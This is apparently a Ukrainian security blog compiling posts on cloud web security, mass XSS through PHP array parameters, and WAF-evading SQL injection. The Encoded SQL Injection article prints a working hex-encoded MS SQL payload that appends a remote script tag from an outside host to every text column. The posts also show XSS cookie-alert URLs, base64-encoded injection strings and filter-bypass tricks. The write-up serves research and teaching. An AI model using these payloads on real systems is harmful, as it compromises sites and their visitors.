Websecurity - Веб безпека

Продовжуючи розпочату традицію, після попереднього відео про захист електронної пошти, пропоную нове відео на веб секюріті тематику. Цього разу відео про захмарну веб безпеку (тобто про “хмарний” веб секюріті сервіс). Рекомендую подивитися всім хто цікавиться цією темою.

Web security in the Cloud

В відео розповідається про надання послуги веб безпеки з використанням хмарних технологій, зокрема на прикладі хмарного (cloud) секюріті продукту від Zscaler. Та про його переваги над традиційними рішеннями. Про подібний хмарний секюріті продукт від Google я вже писав раніше.

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

В 2007 році в записі Як знайти 1000000 XSS уразливостей, я розповів про методи знаходження мільйона (і більше) XSS уразливостей (з використанням пошукових систем). А наприкінці минулого року і початку цього року в статтях XSS уразливості в 8 мільйонах флеш файлах та XSS уразливості в 34 мільйонах флеш файлах я розповів про те, що можна знайти мільйони XSS дірок у флешках по всьому Інтернету.

А зараз я розповім, як знайти мільярд уразливостей, зокрема мільярд XSS уразливостей. З використанням “Warning” Google хакінга, як я вже неодноразово писав, можна знаходити мільйони Full path disclosure, але Cross-Site Scripting уразливості та ще й у великих масштабах - це більш цікаво . Зазначу, що для пошуку великої кількості дірок з використанням мого нового методу навіть не потрібно буде використовувати пошукові системи.

За допомогою даного методу можна знайти хоч мільйон, хоч мільярд, хоч трильйон дірок - взагалі нескінченне число дірок. І при цьому для пошуку не потрібні пошуковці, лише потрібно знайти одну спеціальну XSS дірку. З якої потім можна буде зробити будь-яке (навіть нескінченне) число XSS уразливостей.

Суть метода зводиться до пошуку XSS дірки (на будь-якому веб сайті чи веб додатку) в параметрі, що являє собою масив. Подібні параметри зокрема можливі в PHP. І у випадку, якщо веб додаток оброблює всі параметри-у-вигляді-масива відповідним чином (як масив чи хеш), то існує можливість reflected XSS уразливості. Причому не в одному параметрі елементі масива, а в будь-яких - тобто в довільних елементах даного масива (з довільними іменами). Що дозволяє з однієї дірки створити нескінченне число дірок . Тому що різні імена параметрів - це різні дірки.

Наприклад, є веб додаток уразливий до XSS:

http://site/script?p[0]=<script>alert(document.cookie)</script>

При відповідному алгоритмі обробки масиву параметрів p[], можливі й XSS в інших елементах (в тому числі й в пустому - []). Таких елементах як 1, 2, a і т.д.:

http://site/script?p[1]=<script>alert(document.cookie)</script>

Для імені уразливого параметра використовується наступний шаблон: “p” + “[]” або будь-яке слово у “[]”. Можливі також багатовимірні масиви, де будуть відповідні шаблони.

Подібну уразливість я вперше виявив в WordPress цього року (уразливі WordPress 2.7 - 3.0.1). А потім виявив подібні уразливості на одному сайті, під час комерційного секюріті аудиту. Тому в будь-яких PHP додатках, де використовуються параметри-масиви і має місце XSS дірка, можна створити мільйони, мільярди і будь-яке число XSS уразливостей.

В своїй презентації Client-Side Penetration Testing, Chris Gates і Vince Marvelli розповідають про клієнтський penetration testing. Про уразливості на стороні клієнта та атаки з використання client-side уразливостей на користувачів та відвідувачів веб сайтів.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Return-to-libc attack
• SMBRelay
• Shatter attack
• Shellcode
• String exploits

В статті Просунуті методи SQL Smuggling, я згадав про Encoded SQL Injection - новий клас SQL Injection, що я виявив в 2009 році. Тобто це підклас SQL Injection уразливостей. І зараз я детально розповім про нього.

Торік, 17.05.2009, я знайшов SQLi уразливість, яку я відніс до нового типу SQL Injection - Encoded SQL Injection. Про Encrypted XSS (Encoded XSS) я вже згадував неодноразово, а в цій статті розповім про Encoded SQLi. В класифікації SQL Injection уразливостей (в 2008 році) я навів два типи SQLi - Reflected SQL Injection та Persistent SQL Injection. Так що Encoded SQL Injection буде третім типом.

Дані уразливості дозволяють обходити захисні системи - як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи. Тому я відніс даний тип SQL Injection уразливостей до просунутих методів SQL Smuggling.

Різновиди Encoded SQL Injection.

Існують наступні різновиди Encoded SQL Injection:

• Частково закодовані SQLi.
• Повністю закодовані SQLi.

Якщо перший різновид ще може бути виявлений деякими захисними системами (якщо вони налаштовані на відповідні оператори мови SQL), то другий різновид зовсім не буде виявленим сучасними захисними системами. Окрім тих систем, що підтримують декодування даного методу кодування.

Частково закодовані SQLi.

У випадку частково закодованих SQL Injection, дані, які передаються СУБД, кодуються лише частково. Це коли закодована лише деяка частина SQL коду (наприклад, через CAST). Кодування рядків для обходу фільтрації лапок сюди не відноситься.

Як у випадку наведеному в записі Encoded SQL Injection, де даний тип SQLi використовувався для атаки на один сайт (причому на звичайну SQLi уразливість):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Повністю закодовані SQLi.

У випадку повністю закодованих SQL Injection, дані, які передаються СУБД, кодуються повністю. Тому весь SQL запит є закодованим (на рівні інтерфейсу) і лише на рівні веб додатку від декодується для передачі СУБД. Зокрема у варіанті закодованого SQL Injection, що я знайшов торік, використовується base64 кодування.

Коли веб додаток використовує base64-рядки для передачі значень веб додатку, це може бути використаним для проведення Encoded SQLi атак.

Наприклад, рядок ‘ or 1=1# стане JyBvciAxPTEj. А рядок ‘ and 1=’1 стане JyBhbmQgMT0nMQ==.

І на рівні зовнішніх захисних систем, що не підтримують декодування даних, які передаються веб додатку, ці та інші закодовані рядки не викличуть жодних підозр. Тому встановлені на сервері IDS, IPS та WAF системи не зможуть виявити дані атаки (та й в логах їх просто так не виявиш). І дані атаки успішно пройдуть, обійшовши захисні системи.

Продовжуючи розпочату традицію, після попереднього відео про безпеку від Гугла - Google Web Security, пропоную нове відео на веб секюріті тематику. Цього разу відео про захист електронної пошти. Рекомендую подивитися всім хто цікавиться цією темою.

Global Web Security - Protecting your Webmail

В відео розповідається про небезпеку відправки емайлів, тому що чимало різних осіб потенційно можуть переглянути вашу кореспонденцію. І одна справа коли відправляти звичайні листи, і зовсім інша справа коли відправляти конфеденційну інформацію. Про методику вирішення цієї проблеми йдеться в цьому відео. Хоча відео має рекламне спрямування, але воно зроблено цікаво .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою електронної пошти.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Denial-of-service attack
• Відмова сервісу
• Relay attack
• Replay attack
• Return-oriented programming

В попередніх статтях я розповідав про SQL Smuggling атаки та про нові методи SQL Smuggling. SQL Smuggling - це техніка проведення SQL Injection атак з обходом захисних систем.

Серед нових методів SQL Smuggling, що з’явилися після публікації раніше згаданої статті про дану методику атак, я виділив два методи, які були розроблені секюріті дослідниками. Це використання специфічного кодування в SQL запиті (розроблена в 2007) та обрізання рядку в MySQL (розроблена в 2008).

За останні роки я розробив багато власних методів атак на веб додатки з метою обходу як вбудованих у веб додаток захистних фільтрів, так і встановлених на сервері IDS, IPS та WAF систем. І багато прикладів подібних атак я наводив в новинах. Зокрема я розробив і методи, що можуть використовуватися при проведенні SQL Injection атак. Тому дані методи можна віднести до SQL Smuggling атак.

Серед моїх власних методів SQL Smuggling я виділю наступні:

1. Переведення GET запиту в POST. Деякі захисні системі захищають лише від атак через GET запити, тому їх можна обійти через POST запити.

2. Використання blind SQL Injection замість звичайного SQL Injection. Деякі захисні системи захищають лише від атак, що відносяться до звичайних SQLi, але не від blind SQLi, тому їх можна обійти при переведенні звичайних ін’єкцій в сліпі ін’єкції.

3. Використання Encoded SQL Injection - нового класу SQLi, що я розробив в 2009 році.

Більш детально про використання Encoded SQL Injection уразливостей я розповім в окремій статті.

Продовжуючи розпочату традицію, після попереднього відео про використання HTTP Parameter Pollution, пропоную нове відео на веб секюріті тематику. Цього разу відео про новий секюріті продукт від Гугла - Google Web Security. Рекомендую подивитися всім хто цікавиться цією темою.

Google Web Security

В відео розповідається про сучасний стан безпеки в Інтернет, про різніцю між веб фільтрацією та веб безпекою, та про переваги такого метода як веб безпека над веб фільтрацією. А також в загальних рисах розповідається про новий хмарний (cloud) секюріті продукт від Google. Єдине питання тут в тому, чи довірите ви свою безпеку такій компаній як Гугл .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

Раніше я розповідав про SQL Smuggling атаки. SQL Smuggling - це техніка проведення SQL Injection атак з обходом захисних систем. Використовуючи дану техніку можна обходити як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи.

В зазначеній статті розповідається про різні методи SQL Smuggling. Але дана стаття була написана в 2007 році і з тих пір були виявлені нові цікаві методи SQL Smuggling, про які я зараз розповім.

До нових методів SQL Smuggling відносяться:

1. Використання специфічного кодування в SQL запиті.

Прикладом такої уразливості у веб додатках та атаки на неї є SQL Injection уразливість в WordPress через кодування. Уразливість була виявлена Abel Cheung в 2007 році.

Атака могла бути проведена на сайти на WP, що використовали для БД кодування GBK або Big5. Особливість роботи даних кодувань, що є відмінною від UTF-8 та інших кодувань, дозволяла обходити захисні фільтри.

2. Обрізання рядку в MySQL.

В 2008 році Стефаном Есером була розроблена атака на обрізання рядку в MySQL. Прикладом використання даного методу атаки є уразливість в WordPress 2.6.1.

Використовуючи особливість роботи MySQL можна обрізати дані, що передаються до БД, і при деяких умовах, це можна використати для проведення атак. При цьому жодні захисні системи не зафіксують атаки і тому вона пройде приховано, бо дані до сайта посилаються звичайні, і лише за рахунок особливості роботи СУБД MySQL виникає можливість проведення атаки.